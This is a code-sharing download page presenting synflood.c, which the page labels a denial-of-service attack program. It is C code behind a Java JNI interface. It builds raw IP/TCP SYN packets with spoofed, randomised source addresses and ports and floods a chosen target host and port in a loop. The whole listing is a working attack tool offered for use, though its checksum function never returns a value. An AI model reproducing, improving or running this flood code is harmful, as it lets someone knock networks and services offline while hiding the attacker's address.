⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 synflood.c

📁 拒绝服务攻击程序 拒绝服务攻击程序
💻 C
字号:
#include "dospkg_DosBean.h" 

#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netinet/ip.h> 
#include <netinet/tcp.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <unistd.h> 
#include <stdio.h> 
#include <netdb.h> 


int send_tcp(int sockfd,struct sockaddr_in *addr); 
unsigned short check_sum(unsigned short *addr,int len); 

	int portc=0;
	int fportc=0;
	int modec=0;
	int speedc=0;
	int ripc=1;
	int rportc=1;
	char * fipc ; 	char * attip ; 	int stopflag = 0;	int rtn = 0;
JNIEXPORT void JNICALL Java_dospkg_DosBean_stop (JNIEnv *env, jobject obj, jint flag) 
{	stopflag=flag;}JNIEXPORT jint JNICALL Java_dospkg_DosBean_dos (JNIEnv *env, jobject obj, jbyteArray ip, jint port, jboolean rip, jbyteArray fip, jboolean rport, jint fport, jint mode, jint speed) 
{ 	jbyte * arrayBody; 
	arrayBody = (*env)->GetByteArrayElements(env,ip,0); 
	attip = (char *)arrayBody; 

	arrayBody = (*env)->GetByteArrayElements(env,fip,0); 
	fipc = (char *)arrayBody; 
	ripc=rip;
	rportc=rport;	portc=port;
	if(rportc==0)
	fportc=fport;
	modec=mode;
	speedc=speed;
	
	int sockfd; 
	struct sockaddr_in addr; 
	struct hostent *host; 
	int on=1; 
	
	bzero(&addr,sizeof(struct sockaddr_in)); 
	addr.sin_family=AF_INET; 
	addr.sin_port=htons(portc); 
	
	if(inet_aton(attip,&addr.sin_addr)==0) 
	{ 
		host=gethostbyname(attip); 
		if(host==NULL) 
		{ 
			exit(1); 
		} 
		addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); 
	} 
	
	sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); 
	if(sockfd<0) 
	{ 
		fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); 
		exit(1); 
	} 
	
	setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); 
	
	setuid(getpid()); 
	
	send_tcp(sockfd,&addr); 
} 


int send_tcp(int sockfd,struct sockaddr_in *addr) 
{ 
	char buffer[100];
	struct ip *ip; 
	struct tcphdr *tcp; 
	int head_len; 
	
	head_len=sizeof(struct ip)+sizeof(struct tcphdr); 
	bzero(buffer,100); 
	
	ip=(struct ip *)buffer; 
	ip->ip_v=IPVERSION; 
	ip->ip_hl=sizeof(struct ip)>>2; 
	ip->ip_tos=0; 
	ip->ip_len=htons(head_len); 
	ip->ip_id=0; 
	ip->ip_off=0; 
	ip->ip_ttl=MAXTTL; 
	ip->ip_p=IPPROTO_TCP; 
	ip->ip_sum=0; 
	ip->ip_dst=addr->sin_addr;
	

	tcp=(struct tcphdr *)(buffer +sizeof(struct ip));  
	tcp->dest=addr->sin_port;
	tcp->seq=random(); 
	tcp->ack_seq=0; 
	tcp->doff=5; 
	tcp->syn=1; 
	tcp->check=0; 
		while((rtn<speedc)&&(stopflag==0)){		int num=10000;
		while((num--)>=0){			if(rportc==1)
			fportc=random();
			tcp->source=htons(fportc);		
			if(ripc==1)
			ip->ip_src.s_addr=random(); 
			else
			ip->ip_src.s_addr=inet_addr(fipc);
			tcp->check=check_sum((unsigned short *)tcp, 
			sizeof(struct tcphdr)); 
			sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); 		}		rtn++;	}	return rtn;
} 


unsigned short check_sum(unsigned short *addr,int len) 
{ 
	register int nleft=len; 
	register int sum=0; 
	register short *w=addr; 
	short answer=0; 
	
	while(nleft>1) 
	{ 
		sum+=*w++; 
		nleft-=2; 
	} 
	if(nleft==1) 
	{ 
		*(unsigned char *)(&answer)=*(unsigned char *)w; 
		sum+=answer; 
	} 
	
	sum=(sum>>16)+(sum&0xffff); 
	sum+=(sum>>16); 
	answer=~sum; 
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -